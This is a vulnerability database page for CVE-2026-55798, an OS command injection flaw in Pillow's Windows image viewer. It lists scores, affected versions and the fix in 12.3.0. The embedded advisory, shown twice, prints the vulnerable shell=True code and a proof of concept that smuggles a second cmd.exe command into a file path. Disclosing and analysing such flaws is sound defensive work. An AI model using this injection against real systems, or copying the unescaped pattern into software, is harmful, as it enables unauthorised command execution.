Every CVE Search/ Get API key

CVE-2026-55798

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

4.5 MediumFix available

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
Low

Exploit likelihood

0.18%Up 0.1 points since Jul 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.5

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
CVE-2026-55798
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Weakness
CWE-78
Updated
2026-11-02
EUVDEUVD-2026-41898 4.5

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
EUVD-2026-41898
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-4x4j-2g7c-83w6 4.5

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

Record
GHSA-4x4j-2g7c-83w6
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Weakness
CWE-78
Updated
2026-11-02
NVD 4.5

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
CVE-2026-55798
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Weakness
CWE-78
Updated
2026-11-02
OSV 4.5

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
CVE-2026-55798
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Weakness
CWE-78
Updated
2026-11-02
OSVGHSA-4x4j-2g7c-83w6 4.5

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

Record
GHSA-4x4j-2g7c-83w6
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Weakness
CWE-78
Updated
2026-11-02
Show 9 moreShow less
OSVPYSEC-2026-2257 4.5

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
PYSEC-2026-2257
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Updated
2026-11-02
OSVUBUNTU-CVE-2026-55798 4.5

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
UBUNTU-CVE-2026-55798
CVSS 3.1
4.5 MediumCVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Updated
2026-11-02
OSVBIT-pillow-2026-55798 No score

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.

Record
BIT-pillow-2026-55798
Updated
2026-11-02
OSVCLSA-2026-1786515922 No score

TuxCare security update for pillow (9 CVEs)

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 11.2.1.post4+tuxcare.

Record
CLSA-2026-1786515922
Updated
2026-11-02
OSVCLSA-2026-1787718630 No score

TuxCare security update for pillow (3 CVEs)

TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.

Record
CLSA-2026-1787718630
Updated
2026-11-02
OSVCLSA-2026-1787903381 No score

TuxCare security update for pillow (1 CVE)

TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.5.0.post4+tuxcare.

Record
CLSA-2026-1787903381
Updated
2026-11-02
OSVCLSA-2026-1788345043 No score

TuxCare security update for pillow (1 CVE)

TuxCare rebuilt pillow to address 1 CVE. Fixed in 8.4.0.post4+tuxcare.

Record
CLSA-2026-1788345043
Updated
2026-11-02
OSVCLSA-2026-1788863918 No score

TuxCare security update for pillow (1 CVE)

TuxCare rebuilt pillow to address 1 CVE. Fixed in 9.4.0.post6+tuxcare.

Record
CLSA-2026-1788863918
Updated
2026-11-02
OSVCLSA-2026-1790674233 No score

TuxCare security update for pillow (14 CVEs)

TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.

Record
CLSA-2026-1790674233
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pillow
PyPI
before 12.3.0
12.3.0
pillow
Bitnami
before 12.3.0
12.3.0
pillow
TuxCare:PyPI
From an advisory covering 9 CVEs
11.2.1 up to 11.2.1.post4+tuxcare, plus listed versions
11.2.1.post1+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare
11.2.1.post4+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 3 CVEs
10.4.0 up to 10.4.0.post6+tuxcare, plus listed versions
10.4.0.post1+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare
10.4.0.post6+tuxcare
pillow
TuxCare:PyPI
9.5.0 up to 9.5.0.post4+tuxcare, plus listed versions
9.5.0.post1+tuxcare9.5.0.post2+tuxcare9.5.0.post3+tuxcare
9.5.0.post4+tuxcare
pillow
TuxCare:PyPI
8.4.0 up to 8.4.0.post4+tuxcare, plus listed versions
8.4.0.post1+tuxcare8.4.0.post2+tuxcare8.4.0.post3+tuxcare
8.4.0.post4+tuxcare
pillow
TuxCare:PyPI
9.4.0 up to 9.4.0.post6+tuxcare, plus listed versions
9.4.0.post1+tuxcare9.4.0.post2+tuxcare9.4.0.post3+tuxcare9.4.0.post4+tuxcare9.4.0.post5+tuxcare
9.4.0.post6+tuxcare
pillow
TuxCare:PyPI
From an advisory covering 14 CVEs
11.3.0 up to 11.3.0.post5+tuxcare, plus listed versions
11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare
11.3.0.post5+tuxcare
pillow
PyPI
before 12.3.0, plus listed versions
1.01.11.21.31.4
Show 45 moreShow less
1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.12.8.2
12.3.0

History

History
RecordedChangedSources
affected, facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55798 is a medium vulnerability (CVSS 4.5) in Python Pillow, published July 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in pillow 12.3.0.

References

Show 6 moreShow less
This page doesn't list everything

Left out here: 56 versions. The JSON record has them.

MoveEnter Open